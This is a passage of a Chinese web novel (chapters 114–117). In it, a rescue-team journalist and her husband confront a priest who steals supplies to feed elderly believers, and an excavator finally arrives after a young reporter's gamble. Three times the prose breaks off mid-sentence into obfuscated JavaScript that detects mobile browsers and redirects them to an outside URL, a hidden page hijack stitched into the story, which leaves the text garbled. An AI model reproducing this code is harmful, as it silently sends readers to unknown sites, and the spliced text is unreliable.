他们甚至都没来得及迈步,指挥部那边的草丛中突然蹿出一个瘦小身影来,一路大叫着“贼!别跑!”,小炮弹似地直直冲向了那人! 那人一回头,大惊失色,立刻加快脚步逃跑,可手上的东西还是死抱着不放。 那影子跑得飞快,离他还差几步,竟原地弹射出去,把那人直接扑倒,死死按在地上:“小偷!小偷!” 站在暗处的五个人在她豪气干云的喊声中,已经看呆了。 齐寻诧异地目睹了这一场堪称竞速的抓捕,长叹了一声,上去叫她:“阿咩,行了,松开。” 阿咩扒着那人不放:“我不!我不——诶?白蛇?” 不止是白蛇,他身后还站着四个同僚呢。 入睡的人被这阵骚乱惊醒,几个帐子纷纷亮起应急灯,大家都披着衣服跑出来,围观阿咩小小身板勇擒盗贼,抱着人家不撒手。 包括刚刚睡了没一会儿的黎叙闻。 阿咩顾不上丢脸,高兴地爬起来,跑到她身边:“闻姐,你看,我——” 不等她指过去,趴在地上的小偷骤然发出了一声不似人的嚎叫! 114. 第 114 章 那人伏在地上,脸整个埋在水泥地上,双手死死抱住头,花白头发嵌入枯瘦的指间,不住地发抖。 众人混乱的议论声被他这声嚎叫骤然打断,纷纷惊骇茫然地扭头去看,只见齐寻大步上前,矮身握住那人肩膀:“起来!” 那人身形并不强壮,黑色长袍穿在他身上像挂在衣架上似的,可他奋力挣,一时间竟能跟齐寻僵持。 他呜咽着向后不停瑟缩:“不要开枪,不要……” 黎叙闻远远听到这声呢喃,眼皮突然狠狠一跳。 她来不及多想,拨开议论纷纷的人群:“别,先别碰他!” 她小跑几步到齐寻面前蹲下,先去看他的手,见绷带上并无血迹,才看向旁边散落的营养膏,顿时明白了这场对峙的源头。 “小心手上的伤,”黎叙闻对齐寻道:“我来问他。” 齐寻紧拧的眉头慢慢松开,低声对她说:“你想怎么问就怎么问,我就在你旁边。” 他们在沟通的时候,地上的人始终没有抬头。 就好像他不听不看,鸵鸟似地把脸埋进沙子里,一切就都不存在了。 黎叙闻看着他发顶,轻声道:“我们不是军队,没有枪,不信你看。” 她直起身子张开双臂,露出光溜溜的口袋和腰间:“你看,没有可以藏枪的地方。” 那人发着抖,喉间溢出不成声的呜咽,瑟缩着不肯抬头。 “你看看我,”黎叙闻声音忽然提高:“看看我!” 地上的人手指抠着地,用力到发青,在她这声突如其来的命令里迟疑了将近半分钟,才终于慢慢地、抬起了他满是尘土的脸。 他看上去远比他的身形要苍老,皮肉紧巴巴地箍在头骨上,两腮凹陷,额头和眼周的皱纹深得像刻在骨头上,此刻填满了灰白的土。 在大本营后半夜煊赫的光里,他胸前的十字架闪着嘲弄的光。 他是一名神父。 黎叙闻被他空洞的眼睛摄取了全部注意力,两人一趴一坐,视线在半空中蓦地相碰。 她看见了她的父亲。 他们长得并不相像,但那双被困在时空里的眼睛,任谁看一眼,都不会再忘。 时间似乎在此刻静止了。 震区的风跟她少年时的有何不同? 它摇曳着营地的风灯,照亮了她许久未见的、少年时代的隐痛。 心里的惊涛骇浪一波又一波拍打着她垒砌了很多年的岸,黎叙闻无声地吞咽,妄图把即将翻涌上来的失控重新咽回。 她顿住太久,久到身边的目光慢慢都聚集在她身上。齐寻从后面按住她肩膀:“闻闻?” 黎叙闻身体一震,回过神来,深吸了口气,问:“你拿这些,是为了自己吃吗?” 神父的视线几次三番扫过她腰间和身上的制服,沉默了很久,才说:“是的。” “神职人员可以偷窃吗?”她又问。 比刚刚还久的沉默之后,神父用发抖的手在胸口划了个十字:“上帝会原谅我。” “你的上帝不会原谅你,”黎叙闻淡声道:“你拿走的营养膏是我们搜救队的体力保证,有很多人因为你而失去被救的机会。” 神父浑浊的眼睛望着她,面色平静:“上帝会体谅我想活下去、想引导更多人走上乐土的忠诚。” “所以你就送别人去见上帝?”黎叙闻轻嗤:“这就是你偷东西都要穿神袍的原因?” 神父如如不动的表情终于起了波澜。 他重重地呼吸了两次,严正道:“上帝会……” “上帝不会,”黎叙闻毫不客气地打断他:“这是你最后的机会了,如果你仍不坦白,你清楚,没有人会原谅你。” “我们不是军队,但我们会尽己所能维护这里的秩序。”她手指在身侧握紧了拳:“秩序只是中断,不是消失。等一切恢复正常,还有多少人认同你的信仰?” “闻闻,”齐寻感觉到她的波动,在她身后轻声道:“好了……” 黎叙闻理也不理,目光直白地逼视神父痉挛的脸:“好好想想。” 她审视的目光在昏暗风灯中灼烧着,点燃了如水月光,直直烧进对方浑浊的眼里。 四周寂静。 神父怔愣着跟她对视几秒,忽然大叫一声,近乎癫狂地站起身来,掉头就跑,险些被自己脏污的袍子绊倒。 众人始料未及,还在愣怔,齐寻第一个反应:“追!” …… 神父拖着刚刚还颤抖不止的身体,在黑暗中左突右绕,穿过大本营所在的学校操场,拐过一座倾塌的山,最后停在了一片插着彩绘玻璃的废墟前。 齐寻第一反应是捂住黎叙闻的眼睛,转头吩咐:“把灯灭掉。” 黎叙闻睁开眼时,眼前只有一片模糊的轮廓,借着月光,这片教堂的废墟影影绰绰的,看不真切。 教堂已经塌了一半,堪堪留下一个可以倚靠的墙角,像诸神时代的断壁残垣。 有一团朦胧的影子,很小地团在墙角里面,安静得一动不动。 在那团影子的脚边,散落着一些营养膏空管,还有一个空空的水碗。 神父慢慢摸过去,掀掉那影子身上的盖毯,一张核桃一样布满皱褶的老妪的脸,茫然地抬了起来。 与此同时,那完好的一半教堂里走出几个人来,颤颤巍巍,互相搀扶,脊背都挺不直。他们立在暗处,月光在他们脸上投下彩绘玻璃的影子,像图腾一样,静默地跟外来者对视。 黎叙闻站在离她五步之遥的地方,皱了一路的眉心,慢慢地松开了。 有些说不清的东西,在这个瞬间,在她的心里,带着萦绕不去的怀疑,重重落了地。 他不是一个可恶的人,黎叙闻想,他是有情可原的。 真好,他是有情可原的。 齐寻上前一步,拍了拍神父的肩膀,问:“是你的母亲?” 神父摇头:“是上帝的信徒。” “为什么不求助?”齐寻问:“说清状况,我们不会不管。” 神父沉默了一下,说:“我以为你们是军队。以我的经验,她、他们,在战场上,会是最先被放弃的那一批。” 黎叙闻眉心一挑,太阳穴随之剧烈地抽动起来。 她猜得没错—— 这个神父跟她父亲一样,被战场刻上了不灭的伤痕,任何一点枪击、俘虏的苗头,都会唤起他们最恐惧的记忆。 而即便这样,他还是选择冒险。 所有人都被这转折捂住了口,面对一个为了陌生人可以违背信仰的神父,宽慰也好,指责也罢,谁都说不出一句话来。 “值得吗?”黎叙闻忽然问他。 神父半张脸敞在月光里,半张脸躲在墙角投下的阴影中,静默地望着她。 “你不认识她,可你的信仰和戒律会陪伴你终身,”她问:“为了个陌生人,值得吗?” 她垂着眼睛,不去看他,像在问他,又像在对着某个不在场的人,寻求一直困惑的答案。 “你的问题,我没有答案。”他动作缓慢地取下脖子上的十字架:“或许你是对的。” 银亮的十字架在月色里闪烁了一瞬,继而没入了神袍的口袋:“或许是我太无能了,但穿着神袍,让上帝见证我的所作所为,是我能想到的唯一的办法。”他抬起头,看着这个年轻而迷茫的女人:“人不是任何时候都有选择,小姐。” “失败的是我,不是我的信仰。” 月夜静谧无声,四周杂草微动。 如果上帝真的存在,此刻一定在静默地凝望着他。 黎叙闻紧紧抿着唇角,与她纠缠了多年的困惑和执念,在她的头脑中上升、盘旋,最后居高临下地,俯瞰她此时此刻无声的震动。 这个世界就是这样,这个世界总是这样。它永远指着人们最柔软最致命的部分,贪婪地讨要代价。 得偿所愿必定伴随着另一种牺牲和失败,所有的成功都是失败者的成功。 可失败者,就不配活下去吗? 黎策不配活下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17286348|190916||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 去,不配让自己的女儿原谅吗? 黎叙闻站在异国他乡的震后废墟上,这么多年来第一次靠近了自己的父亲。 “爸爸,”她几乎无声地低喃:“爸爸呀……” 她不甚平稳的呼吸,随着夜风,自然而然地传入了另一个人的耳朵。 齐寻沉默着对身后跟着的大山抬了抬下巴,大山会意,开始安排神父和这老妪的安身之所。 他从后面轻轻环住黎叙闻的肩膀,指尖所及之处,一片寒凉。 “闻闻,后续我会安排好,其他的事……”他顿了顿:“等我们回去,还有很多、很多时间。” 遗憾或许早已写就成篇,但所幸的是,他们还很年轻。 年轻到有时间并肩而行,把所有的书页都填充、改写。 “嗯,”黎叙闻背对着他,慢慢地说:“齐寻,我想他了。” …… 凌晨四点,夜色将尽,微光大本营在又一次的兵荒马乱之后,重新归于沉寂。 而在塔拉维震区某个寂静的角落,有人用望远镜频频抬视大本营的方向,放下望远镜,仍然坐立难安。 查理今晚第七次钻回帐篷,窝进睡袋,又起身解锁手机,咬着指甲在邮箱和工作软件之间来回切换。 后半夜掀起的风在外面呜呜地响,不遗余力摇动着他这顶落单的帐篷。 查理瞪着眼睛,看了一阵子帐外摇晃不休的树影,终于按捺不住,从睡袋里坐了起来。 他切回邮箱界面,跟编辑长长的往来邮件里,他P过的那张所谓的“对家竞品”的聊天记录,正大喇喇地摆在开头。 那张WhatsApp的对话记录,几乎用尽了他本就贫乏的写作功底,虚构了一个“不愿透露姓名的”BVC记者,告诉他BVC已经掌握了Ironpeak以大型机械不进场为要挟,意图攫取灾后重建利益的证据。 “你们快有什么用,”对面的白色气泡洋洋得意:“我们有证据。” 该做的我都已经做了,他面无表情地锁了屏,想,决定下了,谎也撒了。 按GVN的尿性,这种程度的噱头是绝不会甘心拱手让人的,连夜加班也要把这新闻抢过来据为己有。 别说证据,GVN向来是无理也要搅三分。 但从他中午慌乱地从微光跑路,趁着一脑子热血给编辑打了电话到现在,已经过去十四个小时。 可编辑部仍没有回音。 查理又刷了一遍邮件短信和电话,想,没有回音很正常。 真的很正常,也许他的编辑翻着白眼骂过他一顿之后,还是没把他的话当真,也许编辑部部已经识破了他的谎言,正开会研究怎么处置他。 也许……万分之一的可能,他们当真了,正调集人手,往Ironpeak的总部去,顾不上跟他这个小啰啰打招呼。 没有消息就是好消息,起码没有收到停职或是开除的通知。 帐外传来一阵啮齿动物啃食草丛的声音,听得他越发手脚冰凉。 ……他又后悔了。 埋在地下的人是死是活跟他有什么关系?他一个前程似锦的记者,有什么必要为这些面都没见过的人搭上前途? 那帮神经病……这么拼命干什么? 那个女人倒很厉害,三言两语把自己撇干净,把他推在前面冲锋陷阵!她自己的老公受了伤,她怎么不去外面骗人,把Ironpeak的挖掘机骗过来? ……不知道Mr.Found怎么样了,伤有没有好一点。 意识到自己在想什么,他往自己脑壳上狠狠拍了一掌。 又开始了!又在想这种跟他无关的破事! 外面浓稠的夜色渐渐淡了,目之所及的尽头,微光大本营又亮起了他熟悉的、质量不怎么样的风灯亮光。 他们毫无意义的徒手救援,又要开始新的一天。 查理长长地叹了一声,顶着一张焦虑了一整夜的憔悴的脸翻出牙刷,准备出去洗漱。 就在这时,电话响了。 115. 第 115 章 在黎叙闻醒来之前,已经有一份包裹放在了她的睡袋旁边。 她迷糊着坐起来,拿过来一看,见上面潦草地用英文写着“再见,黎。”瞌睡顿时就醒了,脑子里砸下两个大字:完蛋! 那小子真的不堪逼迫,直接跑路了! 难道她真的看错人了? 她懊恼着打开包装随意的包裹,里面滚出来三根能量棒、两瓶运动饮料,一小盒创可贴和一板止疼药。 而最底下方方正正硬硬的盒子,竟然是当时她垂涎过的、GVN的卫星盒子! 这东西动辄上千刀,流量费用更是贵上天,但GVN家大业大,这种设备都是外勤标配,保证记者能第一时间搜索、上传资料和报道。 要知道即使是微光这种全国性、成规模成体系的民间救援队,大本营也只在指挥帐连了一根天线,只有重要通联、信息上传时才开机,一次性能连接的人数不超过五个。 大部分时候,整个震区就像一个封闭的孤岛,连微信提示音都是奢侈。 这里的绝大多数队员,从踏进震区的那一刻起,就跟家人失联了。 他们的焦虑、思念、等待,都是救援中再平常不过的一线涟漪,那些遗失在孤岛里的情绪,有的人写成正式的信件,有的人只在备忘录里留下三言两语。 如果不幸牺牲,这些东西将作为遗物,由队长转交给家属。 黎叙闻摸着那黑黝黝的方盒子,眼底热得紧,又高兴,又为查理担心。 ——那小子大学贷款都没还完,这么贵的东西,GVN追起责来,他怎么赔得起? 她翻面一看,盒子背后贴着一块胶布,上面是查理糟糕到难以辨认的手写体:损毁设备,捡到请销毁。 黎叙闻险些笑出声来。 哦,原来是“战地损耗”啊。 “谢谢你啊,”她弯着眼睛,屈指敲了敲盒子的外壳:“臭小子,还挺聪明。” 她起身抓了个不锈钢盆,拿了根木棍敲得哐哐响:“同志们!快来!查理请客上网了!” 下一秒,她就知道了人类起床能有多迅速。 所有在大本营的人全部被她敲醒,弄清状况后,全员弹射起床,乌泱泱地举着手机,把她团团围住,女队员宿营区门口顿时水泄不通。 齐寻好不容易歇几个小时,手还伤着,起来想着给闻闻煮个粥吃,刚捧着烫手的铝杯进来,就见她披着头发,被众星捧月地围在中间,跟个自由女神似的,手里举着个盒子,踮着脚喊:“只许用微信!不许刷某音!” 他捧着粥站在最外围,哑然失笑。 真行啊,他这是找了个哆啦A梦。 …… 黎叙闻把卫星盒子安在宿营区中央,回来坐在医疗区门口,一边喝粥一边给钟郁青发了条微信,又给老马报了个平安,趁那边还没起赶紧断网,好像慢一步就会被咬一样。 她抬头想问齐寻蹭到网没有,话没出口,想起他好像没有可以发消息的家人。 他所有在意的人都在救援队里,所以这种热闹,与他无关。 “这什么表情?”齐寻笑着问她:“被你们总编骂了?” 黎叙闻嘴硬:“……谁被骂了,他表扬我还来不及。”她低头喝了口粥,咽下满口米香,含糊道:“以后每次你救援,我都跟你来吧。” 齐寻望着她瘦了一圈的脸:“别,太苦了。” “不苦,”黎叙闻喝完最后一口粥,拉他的手过来检查伤势:“你受了这种伤,我还在京屿岁月静好,那我才受不了。” “不过……答应你的挖掘机应该没戏了,”她吸了吸鼻子,小声说:“查理那小子跑路了,对不起啊。” 黎大记者鲜少有这种柔软服输的样子,在熹微晨光里低着头,看得齐寻心里软成了一汪水。 “你道什么歉?”齐寻温声道:“救援干到最后,就是看命,大家都看得很开,不要紧的。” 黎叙闻垂目给他重新包了绷带,没有抬头。 看得很开的人是不会满身是血地抱住她,不停地重复“下面有人”的。 天蒙蒙亮时她起夜,还看到一个熟悉的影子,躲在帐篷背后一个人动作笨拙地折纸钱。 是谁呢,好难猜。 齐寻看着她的发顶,又说:“人各有志,他有自己的选择,你别自责。” “嗯。” 这个结果在她给查理下猛药的时候,就已经有心理准备了。 所以她倒不失望,只是觉得有些不服气。 她自诩看人很准,不然也不会见了齐寻两面,就敢跟他协议结婚。 昨天查理离开时的那个眼神她认得:愤怒、悲伤、不甘心。她在很多人脸上都看过那种表情,这些人无一例外,最后都让勇气战胜了怯懦,不说成功,起码不会后悔。 看来她还是太高估这个小老外了,也太高估她自己,太高估自己的感染力,和…… 和她自诩正义的职业信仰。 “算啦,”她叹了声:“希望他一切都好吧。” …… 然而有些真相,总是揭示得猝不及防。 又一个黄昏降临时,行动组所有成员全部回巢,救援结果再度挂零,团队士气跌到了最低点。 每个人拖着疲惫的身体,见面对个眼神,然后无奈地摇摇头,连语言都不必。 问题已经不在能不能救出活人上,而是他们根本无法靠近损毁更严重、更核心的区域。 人力毕竟有极限,挖不开就是挖不开,进不去就是进不去。就算里面真有人能撑到现在,也不过是听着他们零星的喊话,然后眼睁睁看着自己慢慢死去。 整个大本营都充斥着一种筋疲力尽且绝望的静默。 纪士诚愁得干搓脸,找齐寻和林青淮讨论提前撤离的可行性。 “我觉着是没什么用了,”他眉心川字纹都深了两个度:“再这么下去干耗精神,别到时候自己人再折进去。” 纪士诚说这话的时候,眼睛不时瞟着齐寻。 齐寻抱着双臂靠在一边,听懂了他的弦外之音,却没第一时间回应。 他不甘心。 总有办法可想的吧,有些事总有机会可以改变吧? 难道即使过去十年,他做不到的,依旧像天堑一样,横在他眼前? 林青淮隔着清亮的镜片看他:“我同意纪队长的意见。队员们也有家人,也要顾及家人的想法。” 他将“家人”两个字咬得很重,简直把不满写在脸上。 “后勤那个小姑娘,叫阿咩的那个,”他转开眼神,对纪士诚道:“为了来这次救援,把婚礼都推了,现在未婚夫也没消息,说是一周了一条朋友圈都没发。再拖下去,我看她精神状况也会出问题。” 这事纪士诚也有所耳闻,他叹息一声:“咱们的队员,没名没利地在救援队做义工,咱给不了别的,起码别对不起人家。” 惨白灯光下,指挥帐内陷入了长久的沉默。 齐寻抱着胸,半低着头默了良久,道:“不然……” “齐寻!”林青淮都不用听下半句,就知道他要说什么混账话,断喝一声:“你觉得她会听我们的,把你一个人留在这?”他冷笑:“你一条烂命不要就算了,她不是!” 纪士诚见光风霁月的林老师这样动怒,惊得眉头扬得老高,视线在他们两人之间不断逡巡,然后眼观鼻、鼻观口地垂下了眼。 ……好像突然知道了什么不得了的八卦。 齐寻罕见地没跟他杠,而是抿着唇,又不说话了。 这时候,帐子外面突然传来一阵骚动,一道刺眼的亮光,直直刺破了指挥帐的篷布,照得室内一片雪亮。 纪士诚一愣,第一反应先去捏眼角:“又他妈是什么事……” 齐寻起身正要出去看,门帘忽然从外面掀起,黎叙闻跑进来,正跟他撞了个满怀。 他嘶了声,扶住怀里的人:“怎么了?怎么回事?” 黎叙闻在他怀里,抬起兴奋得微微泛红的脸:“挖掘机!挖掘机来了!” …… 不止挖掘机,在大本营外的平整空地上,停着的还有两辆吊车、若干辆保障车、照明塔和油料车。 雪亮的车灯照破昏沉的夜色,尘埃在灯柱中翻滚,像一座座桥。 齐寻和纪士诚迎上前去,司机早下车等待,见了他们简单打了招呼,递上交接清单 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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四五个GVN记者围着一个四十来岁、西装革履的男人,在Ironpeak大楼前,一路围堵,唾沫星子简直要迸到他脸上: “听说Ironpeak为了经济利益,牺牲了数万灾民的性命,这是事实吗?” “你是否有证据证明库萨地震中,贵司在合同中应承的所有物资都按时到位?” “结合之前的海啸救援,我们是不是可以说Ironpeak在以这种方式抬升股价,意图扩大经营版图?” 每一个问题都很GVN——跟新闻伦理差出十万八千里,但刀刀致命,恶毒且有效。 那男人很快被逼得举步维艰,脸部肌肉不停抖动,当着记者和镜头又不便发作,只能用手试图阻挡,逼出他一叠声的“无可奉告”。 在画面的角落,有个特别熟悉的身影,被前辈们挤得找不着北,甚至根本挤不到那高管面前。 查理喷了发胶的头发被挤得散落在额前,不知从哪借了件不合身的西装,里面还穿着那件已经看不出颜色的GVN文化衫。 镜头放大了他的风尘仆仆,他挤了一阵子,发现实在挤不过,索性转过头来举着话筒,对镜头道:“我在库萨的塔拉维震区,目睹了那里惨烈的救灾现场,Ironpeak故意不让机械入场,造成幸存者的死亡和救援队受伤,他们难辞其咎!” 义愤填膺地说完这句,他表情忽然一松,咽了咽,道:“希望塔拉维一切都好,GVN记者,查理·道尔顿。” 镜头很不耐烦在他这里停留,这些也就是一晃而过,很快就追着不堪逼问、意图逃跑的高管去了。 黎叙闻一瞬不瞬地盯着屏幕,任由这条玩笑一样的新闻播到尽头。 那段播报简直给她听笑了。 主观、松散、准备不足、情绪大于事实,简直是直播灾难。 可是…… 塔拉维今晚的风都格外温柔,裹挟着厚重的柴油气味,轻轻抚过她的眼角。 那里有一点点温热的潮湿。 哦,原来他姓道尔顿,她想。 查理·道尔顿,是一名记者。 116. 第 116 章 重机械在地震后的第六天凌晨进场,正式投入救援中。 塔拉维地区原本凝滞的战报忽然动了,黎叙闻数了数,从那天到最后一个幸存者被抬上来,整个塔拉维一共救出了九个人。 而最后一个幸存者,是机械进场后的第三天,救援队在原本进不去的废墟里,花了近十个小时救出来的。 那是个年轻的男孩,被困在家里冰箱形成的三角区域,靠着冰箱里仅有的几个生鸡蛋和两瓶水,撑到了现在。 被A组担架抬上来时,他眼睛上蒙着防止光刺激的布条,皮肤跟外衣外裤一起松垮垮地垂着。 ——他原本是个大胖子,也多亏了一身肥厚脂肪,才能让他一直等到挖掘机进场、救援队到来。 他的手放在自己腹间,迷迷糊糊地问:“我肚子呢?” 电锯妹俯身认真道:“你的小肚子救了你的命。” 那幸存者安静了一会儿,然后把手臂挡在眼睛布条上,呜呜地哭了。 现场的医疗组成员简单给他量了血压,检查了伤势,给他手腕上系上黄标,在上面简单写了两笔,抬头道:“送回大本营吧,让他们补液。” 这个时期被救下的幸存者,意义绝不止是一个活人而已。 等A组轮换休息的队员抬着伤员回到大本营,所有在营地的人全部沸腾了,连后勤组正忙着分饭的阿咩都扔下手里的活儿,匆匆忙忙跑出来看。 九天,这个人在废墟下面坚持了九天,一身脂肪都烧没了,只等着他们来救他。 齐寻累得站都站不起来,坐在一边又好气又好笑:“都让开,让医疗组先补液!有点见识行不行?” 闻闻耳中灌着大家喧闹的庆祝,眼神在纷攘中捉到他,见他眉头是好几天没有过的舒展,挤过人群想去跟他说两句话,却见齐寻正好抬头,跟她对视了一秒,起身离开了。 “闻闻,”医疗组长在身后叫她:“来再给量一次血压!” 黎叙闻应了声,又回头看了一眼,他已经不见了。 喧嚣的热闹在午后煊赫的阳光中膨胀蒸腾,许久未见的希望照破了压在大本营上空沉甸甸的云。 大家忙着重整旗鼓,于是谁也没有注意到,大本营的边缘,悄悄地摸进了一个不速之客。 这人二十来岁,穿着一身运动服,身上划破了好几处,到处脏兮兮的,脸上也涂满了脏污,一步三张望地靠近学校操场,远远听见这边吵嚷,犹豫着停住不动了。 有穿着制服的队员向他望过来,他一个激灵,身体比脑子快,先找了棵树,藏了起来。 待他终于在树后面做好心理准备,大本营的热闹也差不多散了。 黎叙闻正好端着盆水从医疗区出来,模糊地看见一个陌生的影子,便主动迎上去,问:“是幸存者吗?有什么可以帮你?” 结果对方嗫嚅半天,一张口竟是中文:“你、你好,陈意钦……阿咩,你认识吗?” 黎叙闻心中顿时警铃大作,心想这该不会是阿咩的家人,来抓她回去的吧! 于是她面色稍沉,问:“我们这没这个人,你是哪位?” 那人抿着嘴还没解释出个所以然,黎叙闻身后忽然响起阿咩的声音:“闻姐,组长问那个黄标的伤员……” 她眼神一晃,瞥见黎叙闻对面的男人,声音猛地拔高了一截:“刘濛?!” 这位就是阿咩消失了一个星期、电话不接、微信不回、朋友圈也不发的竹马未婚夫。 阿咩眼睛瞪得巨大:“你怎么来了?怎么、怎么找到这儿的?” 小伙子长得蛮周正,就是一脸憔悴,说话温声细语的:“来找你。” 阿咩面色复杂:“带我回去跪祠堂?” “不跪祠堂,也不回去。”刘濛摇头:“你在哪我就在哪,其他人我不管了。” 他长这么大还没一个人出过国,签证都是找了中介加急办的,好在总指挥部自己焦头烂额,竟然真的让他混了过来。 第一次这样跋山涉水,是为了来找他那个离经叛道、被长辈赶出家门的未婚妻。 阿咩听了,眼圈早红了,嘴上还不饶人:“你不是说你不知道怎么办吗?” “一开始是不知道,你一走我就知道了,”刘濛挠挠头:“不管家里人怎么说,我都要跟着你。” 黎叙闻在旁边,目光来来回回地看戏,吃瓜吃得不亦乐乎。 这辈子还是第一次见人私奔呢。 眼看着小两口执手相看泪眼,黎叙闻噗嗤笑了:“行了才子佳人,外面怪晒的,进去再演舞台剧吧?” …… 刘濛没参与过救援,行李里给阿咩的零嘴塞了不少,偏偏没带自己的睡袋。 他来得着急,想着应该总有张床给他睡,结果来这一看,床要么给伤员,要么给值夜的,哪个他都不好意思占。 于是只能悄没声儿地守着阿咩,跟她挤一个睡袋,两个人起来都冷得直打喷嚏。 黎叙闻没说什么,给他们冲了两包板蓝根。 当天晚上齐寻回来,扔给刘濛一个睡袋,跟阿咩说:“你闻姐说你这儿缺一个,将就睡。” 那睡袋崭新,上面还印着库萨国旗。 阿咩都看楞了:“哪、哪儿来的?” “军队的呗,”黎叙闻听到动静,正好进来:“他们拿了咱们那么多吃的,要个睡袋过分吗?” 刘濛局促地搓搓手,来个了九十度鞠躬:“麻烦您了!” 齐寻看到她进来,先没有迎上去,反而稍稍往后退了一步,笑了声对刘濛道:“嗯,休息吧。”然后无视黎叙闻怪异的眼神,绕开她低声说:“我去洗澡。” 不知是不是黎叙闻的错觉,她总觉得这几天,齐寻洗澡的时间越来越长,面对她的时间也越来越少。 不止这样,单独在一起时,他也不再像之前那样,总要贴贴抱抱,而是所有的肢体接触都一触即离,凳子摆得都离她很远。 齐寻也不解释,问就是太累、太困、事情没做完,好像全世界就他一个人日理万机似的。 好像那样甜蜜的如胶似漆终于耗尽了,就剩下些老夫老妻的例行公事。 黎叙闻不服气,于是今天晚上,她决定使个坏。 可齐寻偏不上当,跟他们打过招呼,一转身,又不知道跑哪去了。 没办法,山不来就她,她只好去就山。 深夜,万籁俱寂。 月色投下的婆娑树影在操场边缘静立,影子摇动,拂过树下淋浴坑中坐着的一抹浅淡身影。 齐寻听着身后不时涌起的松涛声,半低着头,似乎在出神。 可熟悉的脚步声永远都瞒不过他。 黎叙闻踮着脚绕到他身后,刚刚靠近,就听他带着笑问:“还不睡?不困?” “你呢?”出师未捷就被识破,她有些愤愤的,就地坐在他身旁:“你累了一天,也不睡?” 刚坐下,她就觉察到身边温热的人稍稍地往一边挪了挪。 黎叙闻当场就挂脸了。 她不依不饶,按住他肩膀,长腿一迈直接跨坐到了齐寻身上。 齐寻身体本能一紧,搭在他肩上的手臂像蛇一样缠住他脖颈,他深深吸了一次,轻声道:“一会儿被人看见。” “看见怎么了?”黎叙闻猫似的眼睛自下而上看他:“我们又不是在偷情。” 苍冷月色掸了她一肩细碎的光,她眼底缀着碎钻,一瞬不瞬望着他。 温软的身体跟他的相贴,有清淡的水香丝丝缕缕钻进齐寻的鼻子,挠得他喉咙发痒。 他不动声色地咽了咽,盯着她淡色的唇,清了下嗓子:“影响不好。” 扣在他后颈的十指变本加厉地将他向前拉,黎叙闻那张秾丽的脸,又浸着月光在他眼前微微放大。 齐寻眉头一蹙,下颌收了收,思绪隔着十万八千里,竟飞回了他们在公寓的浴室的那个夜晚。 那时候她也是这样,在苍白的光底下,一双眼睛直勾勾地盯着他。 但那时她的视线是空洞而僵硬的,只把他作为这世界上唯一的焦点。 因为她正战栗着,从他给予的高峰之上一跃而下。 小腹处有一线又细又烫的线,从更深的地方猛地游出来,将某些本就堪堪维持的体面更远地推向边缘。 齐寻扶着她脊背的手指蓦地一紧。 而黎叙闻却被他一而再、再而三的抗拒彻底撩起了脾气。 她硬是突破齐寻沉沉压着她肩骨的手掌,把 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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门帘撩动的响动、脚步声、和他们闲聊的声音,都在静谧夜色中无限放大,和着淋浴坑里两人杂乱搏动着的心跳,一起响起来。 黎叙闻浑身一抖,血液哄地冲上大脑,呼吸都停了,眼睛却一动不动地盯着齐寻。 她手臂向后一伸,精准地握住垂挂的塑料布,一用力,刷地拉上了。 齐寻下颌仰着,接着他烫人的目光,喉结变本加厉地滚动。 “哎,”小熊的声音又近一步:“那帘子咋回事?刚也是拉着的?” 黎叙闻蓦地悬了半口气,攀紧齐寻的肩膀,死死咬住下唇。 按着她后枕的手也无意识地用力,齐寻呼吸轻而又轻,喷在她耳侧,在原本就不平静的血脉中,荡起新的涟漪。 “没注意,你还放不放水了?”大山无奈道:“满山的死人,你也不怕撞到鬼。” 小熊嘶了声,哆嗦了下,两人的声音又渐行渐远了。 他们被隔绝在一层薄薄的浴帘下,外面是所有他们熟识的队友、而这里,只有他们赤.裸的、短兵相接的欲.望。 黎叙闻浑身绷得发疼,耳边回荡着齐寻轰然作响的脉搏声,轻轻喘息着,手还不老实,又探进了他腹底。 “今天不欺负我就不甘心,是吗?”齐寻捉住她手腕,另一只手捏住她后颈,把她又拉近了些:“想干什么?” 两个人近得几乎鼻尖相抵,黎叙闻眼底流窜的尽是直白的欲求:“你。” 齐寻:“……” 他自己都忍得口干舌燥,还得哄人:“这里人多,等回去,回去我们……” “多的我不问了,齐寻,”黎叙闻忽然压下眼睫,呼吸也沉甸甸的:“就一句:回去之后,我们还回得去吗?” 齐寻心口一抽,反应了一下她绕口令似的这句话,不等他解释,贴着他的体温抽骤然抽身。 恰逢起了一阵风,吹得他浑身冰凉。 “那你记住了,”黎叙闻从他身上站起来,居高临下,面沉似水:“你欠我一回。” 说完转身一拉浴帘,头也不回地走了。 117. 第 117 章 第二天一早,纪士诚向全体成员宣布,救援队的工作重点从搜救幸存者,正式转为灾后复原。 由于工作量巨大,除了心理组,其他所有之前留守大本营的成员都要按需求投入复原工作,包括遗体搜寻、清障、防疫等等部分,特殊情况除外。 这个特殊情况,自然指的是黎叙闻。 所有人员都指派完毕,只有她没得到通知,问组长,组长说是纪士诚特意交代的。 她直接去找了纪士诚。 “你的情况我都知道,”纪士诚手里拎着一大叠黑色的袋子,被她拦在指挥部门口:“人够用,你别担心。” 说着就要绕开她,去跟A组汇合。 黎叙闻纹丝不动挡在他面前:“是齐寻说的?” 